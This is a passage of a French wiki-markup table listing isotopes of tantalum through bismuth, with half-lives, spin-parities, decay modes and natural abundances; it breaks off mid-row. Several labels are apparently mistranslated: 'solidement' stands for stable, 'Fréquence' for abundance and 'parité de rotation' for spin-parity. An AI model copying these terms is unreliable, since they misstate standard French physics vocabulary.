|| %K+%β+ ~ 95, %α ~ 5 |- |162Ta || 3.52 s || || %K+%β+=99.926 , %α=0.074 |- |163Ta || 10.6 s || || %K+%β+ ~ 99.8, %α ~ 0.2 |- |164Ta || 14.2 s || (3+ ) || %K+%β+=100 |- |165Ta || 31.0 s || || %K+%β+=100 |- |166Ta || 34.4 s || (2) + || %K+%β+=100 |- |167Ta || 1.4 m || (3/2+ ) || %K+%β+=100 |- |168Ta || 2.0 m || (3+ ) || %K+%β+=100 |- |169Ta || 4.9 m || (5/2-) || %K+%β+=100 |- |170Ta || 6.76 m || (3+ ) || %K+%β+=100 |- |171Ta || 23.3 m || (5/2-) || %K+%β+=100 |- |172Ta || 36.8 m || (3+ ) || %K+%β+=100 |- |173Ta || 3.14 h || 5/2- || %K+%β+=100 |- |174Ta || 1.05 h || 3+ || %K+%β+=100 |- |174m1Ta || 250 ns || || |- |175Ta || 10.5 h || 7/2+ || %K+%β+=100 |- |176Ta || 8.09 h || (1) - || %K+%β+=100 |- |176m1Ta || 1.1 ms || (+) || %IT=100 |- |176m2Ta || 1.4 ms || (20- ) || |- |177Ta || 56.56 h || 7/2+ || %K+%β+=100 |- |178Ta || 9.31 m || 1+ || %K+%β+=100 |- |178m1Ta || 2.36 h || (7) - || %K+%β+=100 |- |178m2Ta || 60 ms || (15-) || %IT=100 |- |179Ta || 1.82 a || 7/2+ || %K=100 |- |179m1Ta || 9.0 ms || (25/2+ ) || |- |179m2Ta || 52 ms || (37/2+ ) || |- |180Ta || 8.152 h || 1+ || %Fréquence=0.012, %K=86 , %β-=14 |- |180m1Ta || 1.2e+15 a || 9- || |- |181Ta || solidement || 7/2+ || %Fréquence=99.988 |- |182Ta || 114.43 d || 3- || %β-=100 |- |182m1Ta || 283 ms || 5+ || %IT=100 |- |182m2Ta || 15.84 m || 10- || %IT=100 |- |183Ta || 5.1 d || 7/2+ || %β-=100 |- |184Ta || 8.7 h || (5-) || %β-=100 |- |185Ta || 49.4 m || (7/2+ ) || %β-=100 |- |186Ta || 10.5 m || (2- ,3-) || %β-=100 |} ==[[Tungstène]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |158W || 0.9 ms || 0+ || %α=100 |- |158m1W || 0.16 ms || 8+ || |- |159W || 7.3 ms || || %α ~ 99.5, %K+%β+ ~ 0.5 |- |160W || 91 ms || 0+ || %α=87 , %K+%β+=? |- |161W || 410 ms || || %α=82 |- |162W || 1.39 s || 0+ || %K+%β+=53 , %α=47 |- |163W || 2.75 s || || %K+%β+=59 , %α=41 |- |164W || 6.0 s || 0+ || %K+%β+=95.6 , %α=4.4 |- |165W || 5.1 s || || %K+%β+=100 , %α < 0.2 |- |166W || 18.8 s || 0+ || %K+%β+=99.965 , %α=0.035 |- |167W || 19.9 s || (7/2-) || %K+%β+=?, %α=? |- |168W || 53 s || 0+ || %K+%β+ ~ 100, %α=2.7E-3 |- |169W || 76 s || (5/2-) || %K+%β+=100 |- |170W || 2.42 m || 0+ || %K+%β+=100 |- |171W || 2.38 m || (5/2-) || %K+%β+=100 |- |172W || 6.6 m || 0+ || %K+%β+=100 |- |173W || 7.6 m || 5/2- || %K+%β+=100 |- |174W || 31 m || 0+ || %K+%β+=100 |- |175W || 35.2 m || (1/2-) || %K+%β+=100 |- |176W || 2.5 h || 0+ || %K=100 |- |177W || 135 m || (1/2-) || %K+%β+=100 |- |178W || 21.6 d || 0+ || %K=100 |- |179W || 37.05 m || (7/2) - || %K+%β+=100 |- |179m1W || 6.40 m || (1/2) - || %IT=99.72 , %K+%β+=0.28 |- |180W || solidement || 0+ || %Fréquence=0.13 |- |180m1W || 5.47 ms || 8- || %IT=100 |- |181W || 121.2 d || 9/2+ || %K=100 |- |182W || solidement || 0+ || %Fréquence=26.3 |- |183W || 1.1e+17 a || 1/2- || %Fréquence=14.3 |- |183m1W || 5.2 s || 11/2+ || %IT=100 |- |184W || 3e+17 a || 0+ || %Fréquence=30.67 |- |185W || 75.1 d || 3/2- || %β-=100 |- |185m1W || 1.67 m || 11/2+ || %IT=100 |- |186W || solidement || 0+ || %Fréquence=28.6 |- |187W || 23.72 h || 3/2- || %β-=100 |- |188W || 69.4 d || 0+ || %β-=100 |- |189W || 11.5 m || (3/2-) || %β-=100 |- |190W || 30.0 m || 0+ || %β-=100 |} ==[[Rhenium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |160Re || 0.79 ms || || %p=91 , %α=9 |- |161Re || 0.37 ms || (1/2+ ) || %p=100 |- |161m1Re || 16 ms || (11/2-) || %α=95.2 , %p=4.8 |- |162Re || 107 ms || (2-) || %α=94 |- |162m1Re || 75 ms || (9+ ) || %α=91 |- |163Re || 260 ms || || %α=64 , %K+%β+=36 |- |164Re || 0.38 s || || %K+%β+ ~ 100 |- |164m1Re || 0.88 s || || %α=? |- |165Re || 2.4 s || || %K+%β+=87 , %α=13 |- |166Re || 2.8 s || || %α < 8 |- |167Re || 6.1 s || || %K+%β+ ~ 99.3, %α ~ 0.7 |- |168Re || 4.4 s || (6+ ) || %K+%β+ ~ 100, %α ~ 5E-3 |- |169Re || || || |- |169m1Re || 12.9 s || || %α ~ 0.2 |- |170Re || 9.2 s || (5+ ) || %K+%β+=100 |- |171Re || 15.2 s || (9/2-) || %K+%β+=100 |- |172Re || 15 s || (5) || %K+%β+=100 |- |172m1Re || 55 s || (2) || %K+%β+=100 |- |173Re || 1.98 m || (5/2-) || %K+%β+=100 |- |174Re || 2.40 m || || %K+%β+=100 |- |175Re || 5.89 m || (5/2-) || %K+%β+=100 |- |176Re || 5.3 m || 3(+) || %K+%β+=100 |- |177Re || 14 m || (5/2-) || %K+%β+=100 |- |178Re || 13.2 m || (3+ ) || %K+%β+=100 |- |179Re || 19.5 m || (5/2) + || %K+%β+=100 |- |180Re || 2.44 m || (1) - || %K+%β+=100 |- |181Re || 19.9 h || 5/2+ || %K+%β+=100 |- |182Re || 64.0 h || 7+ || %K+%β+=100 |- |182m1Re || 12.7 h || 2+ || %K+%β+=100 |- |183Re || 70.0 d || 5/2+ || %K=100 |- |183m1Re || 1.04 ms || (25/2) + || %IT=100 |- |184Re || 38.0 d || 3(-) || %K+%β+=100 |- |184m1Re || 169 d || 8(+) || %IT=75.4 , %K=24.6 |- |185Re || solidement || 5/2+ || %Fréquence=37.40 |- |186Re || 3.7183 d || 1- || %K=7.47 , %β-=92.53 |- |186m1Re || 2.0e+5 a || (8+ ) || %IT=100 |- |187Re || 4.35e10 a || 5/2+ || %Fréquence=62.60, %β-=100, %α < 0.0001 |- |188Re || 17.005 h || 1- || %β-=100 |- |188m1Re || 18.6 m || (6) - || %IT=100 |- |189Re || 24.3 h || 5/2+ || %β-=100 |- |190Re || 3.1 m || (2) - || %β-=100 |- |190m1Re || 3.2 h || (6-) || %β-=54.4 , %IT=45.6 |- |191Re || 9.8 m || (3/2+ , 1/2+ ) || %β-=100 |- |192Re || 16 s || || %β-=100 |} ==[[Osmium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |162Os || 1.9 ms || 0+ || %α=100 |- |163Os || || || %α=?, %K+%β+=? |- |164Os || 21 ms || 0+ || %α ~ 98 , %K+%β+ ~ 2 |- |165Os || 71 ms || (7/2-) || %α > 60 , %K+%β+ < 40 |- |166Os || 181 ms || 0+ || %α=72 , %K+%β+=28 |- |167Os || 0.83 s || || %α=67 , %K+%β+=33 |- |168Os || 2.1 s || 0+ || %K+%β+=56 , %α=44 |- |169Os || 3.4 s || || %K+%β+=89 , %α=11 |- |170Os || 7.3 s || 0+ || %K+%β+=88 , %α=12 |- |171Os || 8.0 s || (5/2-) || %K+%β+=98.3 , %α=1.7 |- |172Os || 19.2 s || 0+ || %K+%β+=99.0 , %α=1.0 |- |173Os || 16 s || (5/2-) || %K+%β+=99.979 , %α=0.021 |- |174Os || 44 s || 0+ || %K+%β+=99.980 +4-10, %α=0.020 +10-4 |- |175Os || 1.4 m || (5/2-) || %K+%β+=100 |- |176Os || 3.6 m || 0+ || %K+%β+=100 |- |177Os || 2.8 m || (1/2-) || %K+%β+=100 |- |178Os || 5.0 m || 0+ || %K+%β+=100 |- |179Os || 6.5 m || (1/2-) || %K+%β+=100 |- |180Os || 21.5 m || 0+ || %K+%β+=100 |- |181Os || 105 m || 1/2- || %K+%β+=100 |- |181m1Os || 2.7 m || (7/2) - || %K+%β+=100 |- |182Os || 22.10 h || 0+ || %K=100 |- |183Os || 13.0 h || 9/2+ || %K+%β+=100 |- |183m1Os || 9.9 h || 1/2- || %K+%β+=85 , %IT=15 |- |184Os || 5.6e13 a || 0+ || %Fréquence=0.02 |- |185Os || 93.6 d || 1/2- || %K=100 |- |186Os || 2.0e15 a || 0+ || %Fréquence=1.58, %α=100 |- |187Os || solidement || 1/2- || %Fréquence=1.6 |- |188Os || solidement || 0+ || %Fréquence=13.3 |- |189Os || solidement || 3/2- || %Fréquence=16.1 |- |189m1Os || 5.8 h || 9/2- || %IT=100 |- |190Os || solidement || 0+ || %Fréquence=26.4 |- |190m1Os || 9.9 m || (10) - || %IT=100 |- |191Os || 15.4 d || 9/2- || %β-=100 |- |191m1Os || 13.10 h || 3/2- || %IT=100 |- |192Os || solidement || 0+ || %Fréquence=41.0 |- |192m1Os || 5.9 s || (10- ) || %IT > 87, %β- < 13 |- |193Os || 30.11 h || 3/2- || %β-=100 |- |194Os || 6.0 a || 0+ || %β-=100 |- |195Os || 6.5 m || || %β-=100 |- |196Os || 34.9 m || 0+ || %β-=100 |} ==[[Iridium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |165Ir || 300 μs || (11/2-) || %p=87 , %α=13 |- |166Ir || 10.5 ms || (2-) || %α=93 , %p=7 |- |166m1Ir || 15.1 ms || (9+ ) || %α=98.2 , %p=1.8 |- |167Ir || 5 ms || || %α=? |- |168Ir || 161 ms || || %α=? |- |169Ir || 0.4 s || || %α ~ 100, %K+%β+=?, %p=? |- |170Ir || 1.05 s || || %K+%β+=25 sys%α=75 sys |- |171Ir || 1.5 s || || %α ~ 100, %K+%β+=?, %p=? |- |172Ir || 4.4 s || (3+ ) || %α ~ 2, %K+%β+=98 |- |172m1Ir || 2.0 s || (7+ ) || %α=23 , %K+%β+=77 |- |173Ir || 9.0 s || (3/2+ , 5/2+ ) || %K+%β+ > 93, %α < 7 |- |173m1Ir || 2.20 s || (11/2-) || %K+%β+=88 , %α=12 |- |174Ir || 9 s || (3+ ) || %K+%β+=99.53 , %α=0.47 |- |174m1Ir || 4.9 s || (7+ ) || %K+%β+=97.5 , %α=2.5 |- |175Ir || 9 s || (5/2-) || %K+%β+=99.15 , %α=0.85 |- |176Ir || 8 s || || %K+%β+=97.9 , %α=2.1 |- |177Ir || 30 s || (5/2-) || %K+%β+=99.94 , %α=0.06 |- |178Ir || 12 s || || %K+%β+=100 |- |179Ir || 79 s || (5/2) - || %K+%β+=100 |- |180Ir || 1.5 m || || %K+%β+=100 |- |181Ir || 4.90 m || (5/2) - || %K+%β+=100 |- |182Ir || 15 m || (5+ ) || %K+%β+=100 |- |183Ir || 58 m || 5/2- || %K+%β+=100 |- |184Ir || 3.09 h || 5- || %K+%β+=100 |- |185Ir || 14.4 h || 5/2- || %K+%β+=100 |- |186Ir || 16.64 h || 5+ || %K+%β+=100 |- |186m1Ir || 1.90 h || 2- || %K+%β+ ~ 75, %IT ~ 25 |- |187Ir || 10.5 h || 3/2+ || %K+%β+=100 |- |187m1Ir || 30.3 ms || 9/2- || %IT=100 |- |188Ir || 41.5 h || 1- || %K+%β+=100 |- |188m1Ir || 4.2 ms || || |- |189Ir || 13.2 d || 3/2+ || %K=100 |- |189m1Ir || 13.3 ms || 11/2- || %IT=100 |- |189m2Ir || 3.7 ms || (25/2) + || %IT=100 |- |190Ir || 11.78 d || (4-) || %K+%β+=100, %β- < 0.002 |- |190m1Ir || 1.2 h || (1-) || %IT=100 |- |190m2Ir || 3.25 h || (11) - || %K+%β+=94.4 , %IT=5.6 |- |191Ir || solidement || 3/2+ || %Fréquence=37.3 |- |191m1Ir || 4.94 s || 11/2- || %IT=100 |- |191m2Ir || 5.5 s || || %IT=100 |- |192Ir || 73.831 d || 4(+) || %β-=95.24 , %K=4.76 |- |192m1Ir || 1.45 m || 1(-) || %IT=99.982, %β-=0.018 |- |192m2Ir || 241 a || (9) || %IT=100 |- |193Ir || solidement || 3/2+ || %Fréquence=62.7 |- |193m1Ir || 10.53 d || 11/2- || %IT=100 |- |194Ir || 19.28 h || 1- || %β-=100 |- |194m1Ir || 31.85 ms || (4+ ) || %IT=100 |- |194m2Ir || 171 d || (10,11) || %β-=100 |- |195Ir || 2.5 h || 3/2+ || %β-=100 |- |195m1Ir || 3.8 h || 11/2- || %β-=95 , %IT=5 |- |196Ir || 52 s || (0- ) || %β-=100 |- |196m1Ir || 1.40 h || (10,11-) || %β- ~ 100 , %IT < 0.3 |- |197Ir || 5.8 m || 3/2+ || %β-=100 |- |197m1Ir || 8.9 m || 11/2- || %β-=99.75 , %IT=0.25 |- |198Ir || 8 s || || %β-=100 |} ==[[Platine]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |168Pt || 2.0 ms || 0+ || %α=100 |- |169Pt || 5 ms || || %α=? |- |170Pt || 6 ms || 0+ || %α=100 |- |171Pt || 25 ms || || %α ~ 99, %K+%β+ ~ 1 |- |172Pt || 0.096 s || 0+ || %α=94 +6-32 , %K+%β+=6 +32-6 |- |173Pt || 342 ms || || %K+%β+=16 , %α=84 |- |174Pt || 0.90 s || 0+ || %α=75 , %K+%β+=25 |- |175Pt || 2.52 s || || %α=64 , %K+%β+=36 |- |176Pt || 6.33 s || 0+ || %K+%β+=62 , %α=38 |- |177Pt || 11 s || (5/2-) || %K+%β+=94.4 , %α=5.6 |- |178Pt || 21.1 s || 0+ || %K+%β+=95.4 , %α=4.6 |- |179Pt || 21.2 s || 1/2- || %K+%β+=99.76 , %α=0.24 |- |180Pt || 52 s || 0+ || %K+%β+=100, %α ~ 0.3 |- |181Pt || 51 s || 1/2- || %K+%β+=100, %α ~ 0.06 |- |182Pt || 3.0 m || 0+ || %K+%β+=99.969 , %α=0.031 |- |183Pt || 6.5 m || 1/2- || %K+%β+ ~ 100, %α ~ 0.0013 |- |183m1Pt || 43 s || (7/2) - || %K+%β+=100, %α=? |- |184Pt || 17.3 m || 0+ || %K+%β+=100, %α ~ 0.001 |- |184m1Pt || 1.01 ms || 8- || %IT=100 |- |184m2Pt || 1.1 ms || 8- || |- |185Pt || 70.9 m || 9/2+ || %K+%β+=100, %α=0.0050 |- |185m1Pt || 33.0 m || 1/2- || %K+%β+=99 , %IT < 2 |- |186Pt || 2.2 h || 0+ || %K+%β+=100, %α ~ 0.00010 |- |187Pt || 2.35 h || 3/2- || %K+%β+=100 |- |188Pt || 10.2 d || 0+ || %K=100, %α=2.9E-5 |- |189Pt || 10.87 h || 3/2- || %K+%β+=100 |- |190Pt || 6.5e11 a || 0+ || %Fréquence=0.01, %α=100 |- |191Pt || 2.802 d || 3/2- || %K=100 |- |192Pt || solidement || 0+ || %Fréquence=0.79 |- |193Pt || 50 a || 1/2- || %K=100 |- |193m1Pt || 4.33 d || 13/2+ || %IT=100 |- |194Pt || solidement || 0+ || %Fréquence=32.9 |- |195Pt || solidement || 1/2- || %Fréquence=33.8 |- |195m1Pt || 4.02 d || 13/2+ || %IT=100 |- |196Pt || solidement || 0+ || %Fréquence=25.3 |- |197Pt || 19.8915 h || 1/2- || %β-=100 |- |197m1Pt || 95.41 m || 13/2+ || %IT=96.7 , %β-=3.3 |- |198Pt || solidement || 0+ || %Fréquence=7.2 |- |199Pt || 30.80 m || 5/2- || %β-=100 |- |199m1Pt || 13.6 s || (13/2) + || %IT=100 |- |200Pt || 12.5 h || 0+ || %β-=100 |- |201Pt || 2.5 m || (5/2-) || %β-=100 |- |202Pt || 44 h || 0+ || %β-=100 |} ==[[Or]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |172Au || 6.3 ms || || %α ~ 100, %p < 2 |- |173Au || 59 ms || || %α < 100 |- |174Au || 120 ms || || %α=? |- |175Au || 200 ms || || %α=94 +6-25, %K+%β+=6 +25-6 |- |176Au || 1.08 s || || %α=?, %K+%β+=? |- |177Au || 1.18 s || || %α < 40 |- |178Au || 2.6 s || || %K+%β+ < 60, %α > 40 |- |179Au || 7.1 s || || %K+%β+=78.0 , %α=22.0 |- |180Au || 8.1 s || || %K+%β+ < 98.2, %α > 1.8 |- |181Au || 11.4 s || 5/2- || %K+%β+=98.7 , %α=1.3 |- |182Au || 15.6 s || || %K+%β+=99.87 , %α=0.13 |- |183Au || 42.0 s || (5/2) - || %K+%β+=99.70 , %α=0.30 |- |184Au || 53.0 s || 3+ || %K+%β+=99.978, %α=0.022 |- |185Au || 4.25 m || 5/2- || %K+%β+=99.74 , %α=0.26 |- |185m1Au || 6.8 m || || %K+%β+ < 100, %IT=? |- |186Au || 10.7 m || 3- || %K+%β+=100, %α=8E-4 |- |187Au || 8.4 m || 1/2+ || %K+%β+=100, %α=0.003 sys |- |187m1Au || 2.3 s || 9/2- || %IT=100 |- |188Au || 8.84 m || 1(-) || %K+%β+=100 |- |189Au || 28.7 m || 1/2+ || %K+%β+=100, %α < 3E-5 |- |189m1Au || 4.59 m || 11/2- || %K+%β+ ~ 100, %IT > 0 |- |190Au || 42.8 m || 1- || %K+%β+=100, %α < 1E-6 |- |190m1Au || 125 ms || (11-) || %IT=?, %K+%β+=? |- |191Au || 3.18 h || 3/2+ || %K+%β+=100 |- |191m1Au || 0.92 s || (11/2-) || %IT=100 |- |192Au || 4.94 h || 1- || %K+%β+=100 |- |192m1Au || 29 ms || (5) + || %IT=100 |- |192m2Au || 160 ms || (11-) || %IT=100 |- |193Au || 17.65 h || 3/2+ || %K+%β+=100 |- |193m1Au || 3.9 s || 11/2- || %IT=99.97, %K+%β+ ~ 0.03 |- |194Au || 38.02 h || 1- || %K+%β+=100 |- |194m1Au || 600 ms || (5+ ) || %IT=100 |- |194m2Au || 420 ms || (11-) || %IT=100 |- |195Au || 186.09 d || 3/2+ || %K=100 |- |195m1Au || 30.5 s || 11/2- || %IT=100 |- |196Au || 6.183 d || 2- || %K+%β+=92.80 , %β- =7.20 |- |196m1Au || 8.1 s || 5+ || %IT=100 |- |196m2Au || 9.6 h || 12- || %IT=100 |- |197Au || solidement || 3/2+ || %Fréquence=100 |- |197m1Au || 7.73 s || 11/2- || %IT=100 |- |198Au || 2.69517 d || 2- || %β-=100 |- |198m1Au || 2.27 d || (12-) || %IT=100 |- |199Au || 3.139 d || 3/2+ || %β-=100 |- |200Au || 48.4 m || 1(-) || %β-=100 |- |200m1Au || 18.7 h || 12- || %β-=82 , %IT=18 |- |201Au || 26 m || 3/2+ || %β-=100 |- |202Au || 28.8 s || (1-) || %β-=100 |- |203Au || 53 s || 3/2+ || %β-=100 |- |204Au || 39.8 s || (2-) || %β-=100 |- |205Au || 31 s || (3/2+ ) || %β-=100 |} ==[[Mercure]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |175Hg || 20 ms || || %α=100 |- |176Hg || 18 ms || 0+ || %α ~ 100 |- |177Hg || 0.130 s || || %α=85, %K+%β+=15 |- |178Hg || 266 ms || 0+ || %K+%β+=?, %α ~ 100 |- |179Hg || 1.09 s || || %K+%β+ ~ 47, %α ~ 53, %Kp ~ 0.15 |- |180Hg || 2.8 s || 0+ || %K+%β+=52 , %α=48 |- |181Hg || 3.6 s || 1/2(-) || %K+%β+=64 , %α=36 , %Kp=0.014 , %Kα=9E-6 |- |182Hg || 10.83 s || 0+ || %K+%β+=84.8 , %α=15.2 |- |183Hg || 9.4 s || 1/2- || %K+%β+=88.3 , %α=11.7 , %Kp=0.00056 |- |184Hg || 30.9 s || 0+ || %K+%β+=98.74 , %α=1.26 |- |185Hg || 49.1 s || 1/2- || %K+%β+=94 , %α=6 |- |185m1Hg || 21.6 s || 13/2+ || %IT=54 , %K+%β+=46 , %α ~ 0.03 |- |186Hg || 1.38 m || 0+ || %K+%β+=99.982 , %α=0.018 |- |187Hg || 2.4 m || 13/2+ || %K+%β+=100, %α>1.2E-4 |- |187m1Hg || 1.9 m || 3/2- || %K+%β+=100, %α>2.5E-4 |- |188Hg || 3.25 m || 0+ || %K+%β+=100, %α=4.0E-5 |- |189Hg || 7.6 m || 3/2- || %K+%β+=100, %α < 3E-5 |- |189m1Hg || 8.6 m || 13/2+ || %K+%β+=100, %α < 3E-5 |- |190Hg || 20.0 m || 0+ || %K+%β+=100, %α < 5E-5 |- |191Hg || 49 m || (3/2-) || %K+%β+=100 |- |191m1Hg || 50.8 m || 13/2+ || %K+%β+=100 |- |192Hg || 4.85 h || 0+ || %K=100, %α < 4E-6 |- |193Hg || 3.80 h || 3/2- || %K+%β+=100 |- |193m1Hg || 11.8 h || 13/2+ || %K+%β+=92.8 , %IT=7.2 |- |194Hg || 444 a || 0+ || %K=100 |- |195Hg || 9.9 h || 1/2- || %K+%β+=100 |- |195m1Hg || 41.6 h || 13/2+ || %IT=54.2 , %K+%β+=45.8 |- |196Hg || solidement || 0+ || %Fréquence=0.15 |- |197Hg || 64.14 h || 1/2- || %K=100 |- |197m1Hg || 23.8 h || 13/2+ || %K=8.6 , %IT=91.4 |- |198Hg || solidement || 0+ || %Fréquence=9.97 |- |199Hg || solidement || 1/2- || %Fréquence=16.87 |- |199m1Hg || 42.6 m || 13/2+ || %IT=100 |- |200Hg || solidement || 0+ || %Fréquence=23.10 |- |201Hg || solidement || 3/2- || %Fréquence=13.18 |- |202Hg || solidement || 0+ || %Fréquence=29.86 |- |203Hg || 46.612 d || 5/2- || %β-=100 |- |204Hg || solidement || 0+ || %Fréquence=6.87 |- |205Hg || 5.2 m || 1/2- || %β-=100 |- |205m1Hg || 1.10 ms || (13/2+ ) || %IT=100 |- |206Hg || 8.15 m || 0+ || %β-=100 |- |207Hg || 2.9 m || (9/2+ ) || %β-=100 |- |208Hg || 42 m || 0+ || %β-=100 |} ==[[Thallium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |179Tl || 0.16 s || || %α ~ 100 |- |179m1Tl || 1.4 ms || (9/2-) || %α ~ 100 |- |180Tl || 0.70 s || || %K+%β+=?, %KSF ~ 1.0E-4 |- |181Tl || || (1/2+ ) || |- |181m1Tl || 3.4 s || (9/2-) || %α=? |- |182Tl || 3.1 s || (7+ ) || %K+%β+ > 96, %α < 4 |- |183Tl || || (1/2+ ) || |- |183m1Tl || 60 ms || (9/2-) || %α < 0.010 |- |184Tl || 11 s || || %K+%β+=97.9 , %α=2.1 |- |185Tl || 19.5 s || (1/2+ ) || %K+%β+=? |- |185m1Tl || 1.83 s || (9/2-) || %IT=?, %α=? |- |186Tl || 27.5 s || (7+ ) || %K+%β+=100, %α ~ 0.006 |- |186m1Tl || 2.9 s || (10- ) || %IT=100 |- |187Tl || 51 s || (1/2+ ) || %K+%β+=?, %α=? |- |187m1Tl || 15.60 s || (9/2-) || %α=?, %K+%β+=?, %IT=? |- |188Tl || 71 s || (2-) || %K+%β+=100 |- |188m1Tl || 71 s || (7+ ) || %K+%β+=100 |- |188m2Tl || 41 ms || (9-) || %IT=100 |- |189Tl || 2.3 m || (1/2+ ) || %K+%β+=100 |- |189m1Tl || 1.4 m || (9/2-) || %K+%β+=100, %IT<4 |- |190Tl || 2.6 m || (2) - || %K+%β+=100 |- |190m1Tl || 3.7 m || (7+ ) || %K+%β+=100 |- |191Tl || || (1/2+ ) || |- |191m1Tl || 5.22 m || 9/2(-) || %K+%β+=100 |- |192Tl || 9.6 m || (2-) || %K+%β+=100 |- |192m1Tl || 10.8 m || (7+ ) || %K+%β+=100 |- |193Tl || 21.6 m || 1/2+ || %K+%β+=100 |- |193m1Tl || 2.11 m || 9/2- || %IT=75, %K+%β+=25 |- |194Tl || 33.0 m || 2- || %K+%β+=100 , %α < 1E-7 |- |194m1Tl || 32.8 m || (7+ ) || %K+%β+=100 |- |195Tl || 1.16 h || 1/2+ || %K+%β+=100 |- |195m1Tl || 3.6 s || 9/2- || %IT=100 |- |196Tl || 1.84 h || 2- || %K+%β+=100 |- |196m1Tl || 1.41 h || (7+ ) || %K+%β+=95.5 , %IT=4.5 |- |197Tl || 2.84 h || 1/2+ || %K+%β+=100 |- |197m1Tl || 0.54 s || 9/2- || %IT=100 |- |198Tl || 5.3 h || 2- || %K+%β+=100 |- |198m1Tl || 1.87 h || 7+ || %IT=46 , %K+%β+=54 |- |198m2Tl || 32.1 ms || (10- ) || %IT=100 |- |199Tl || 7.42 h || 1/2+ || %K+%β+=100 |- |199m1Tl || 28.4 ms || 9/2- || %IT=100 |- |200Tl || 26.1 h || 2- || %K+%β+=100 |- |200m1Tl || 34.3 ms || 7+ || %IT=100 |- |201Tl || 72.912 h || 1/2+ || %K=100 |- |201m1Tl || 2.035 ms || (9/2-) || %IT=100 |- |202Tl || 12.23 d || 2- || %K+%β+=100 |- |202m1Tl || 572 μs || 7+ || |- |203Tl || solidement || 1/2+ || %Fréquence=29.524 |- |204Tl || 3.78 a || 2- || %β-=97.10 , %K+%β+=2.90 |- |205Tl || solidement || 1/2+ || %Fréquence=70.476 |- |206Tl || 4.199 m || 0- || %β-=100 |- |206m1Tl || 3.74 m || (12-) || %IT=100 |- |207Tl || 4.77 m || 1/2+ || %β-=100 |- |207m1Tl || 1.33 s || 11/2- || %IT=100, %β- < 0.1 |- |208Tl || 3.053 m || 5(+) || %β-=100 |- |209Tl || 2.20 m || (1/2+ ) || %β-=100 |- |210Tl || 1.30 m || (5+ ) || %β-=100, %β-n=0.007 +7- 4 |} ==[[Plomb]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |181Pb || 45 ms || (13/2+ ) || %α ~ 98 |- |182Pb || 55 ms || 0+ || %α=? |- |183Pb || 300 ms || (1/2-) || %α ~ 94, %K+%β+ ~ 6 |- |184Pb || 0.55 s || 0+ || %α=? |- |185Pb || 4.1 s || || %α < 100 |- |186Pb || 4.83 s || 0+ || %α=54 , %K+%β+=46 |- |187Pb || 18.3 s || (13/2+ ) || %K+%β+=98.0, %α=2.0 |- |187m1Pb || 15.2 s || || %α=?, %K+%β+=? |- |188Pb || 24 s || 0+ || %K+%β+=91.5 , %α=8.5 |- |189Pb || 51 s || || %K+%β+ > 99, %α ~ 0.4 |- |190Pb || 1.2 m || 0+ || %K+%β+=99.79 , %α=0.21 |- |191Pb || 1.33 m || (3/2-) || %K+%β+=99.987 , %α=0.013 |- |191m1Pb || 2.18 m || (13/2+ ) || %K+%β+=100, %α ~ 0.02 |- |192Pb || 3.5 m || 0+ || %K+%β+=99.9941 , %α=0.0059 |- |193Pb || 2 m || (3/2-) || %K+%β+=? |- |193m1Pb || 5.8 m || (13/2+ ) || %K+%β+=100 |- |194Pb || 12.0 m || 0+ || %K+%β+=100, %α=7.3E-6 |- |195Pb || 15 m || 3/2- || %K+%β+=100 |- |195m1Pb || 15.0 m || 13/2+ || %K+%β+=100 |- |196Pb || 37 m || 0+ || %K+%β+=100, %α < 3E-5 |- |197Pb || 8 m || 3/2- || %K+%β+=100 |- |197m1Pb || 43 m || 13/2+ || %K+%β+=81 , %IT=19 |- |198Pb || 2.40 h || 0+ || %K+%β+=100 |- |199Pb || 90 m || 3/2- || %K+%β+=100 |- |199m1Pb || 12.2 m || 13/2+ || %IT=93, %K+%β+=7 |- |200Pb || 21.5 h || 0+ || %K=100 |- |201Pb || 9.33 h || 5/2- || %K+%β+=100 |- |201m1Pb || 61 s || 13/2+ || %IT>99, %K+%β+<1 |- |202Pb || 5.25e4 a || 0+ || %K=100, %α<1 |- |202m1Pb || 3.53 h || 9- || %IT=90.5 , %K+%β+=9.5 |- |203Pb || 51.873 h || 5/2- || %K=100 |- |203m1Pb || 6.3 s || 13/2+ || %IT=100 |- |203m2Pb || 0.48 s || 29/2- || %IT=100 |- |204Pb || 1.4e17 a || 0+ || %Fréquence=1.4 |- |204m1Pb || 67.2 m || 9- || %IT=100 |- |205Pb || 1.53e+7 a || 5/2- || %K=100 |- |205m1Pb || 5.54 ms || 13/2+ || %IT=100 |- |206Pb || solidement || 0+ || %Fréquence=24.1 |- |207Pb || solidement || 1/2- || %Fréquence=22.1 |- |207m1Pb || 0.805 s || 13/2+ || %IT=100 |- |208Pb || solidement || 0+ || %Fréquence=52.4 |- |209Pb || 3.253 h || 9/2+ || %β-=100 |- |210Pb || 22.3 a || 0+ || %β-=100, %α=1.9E-6 |- |211Pb || 36.1 m || 9/2+ || %β- =100 |- |212Pb || 10.64 h || 0+ || %β-=100 |- |213Pb || 10.2 m || (9/2+ ) || %β-=100 |- |214Pb || 26.8 m || 0+ || %β-=100 |- |215Pb || 36 s || (5/2+ ) || %β-=100 |} ==[[Bismut|Bismuth]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |185Bi || 44 μs || (1/2+ ) || %p ~ 100 |- |186Bi || 15.0 ms || (3+ ) || %α ~ 100 |- |186m1Bi || 9.8 ms || (10- ) || %α ~ 100 |- |187Bi || 35 ms || (9/2-) || %α>50 |- |187m1Bi || 0.8 ms || (1/2+ ) || |- |188Bi || 0.21 s || || 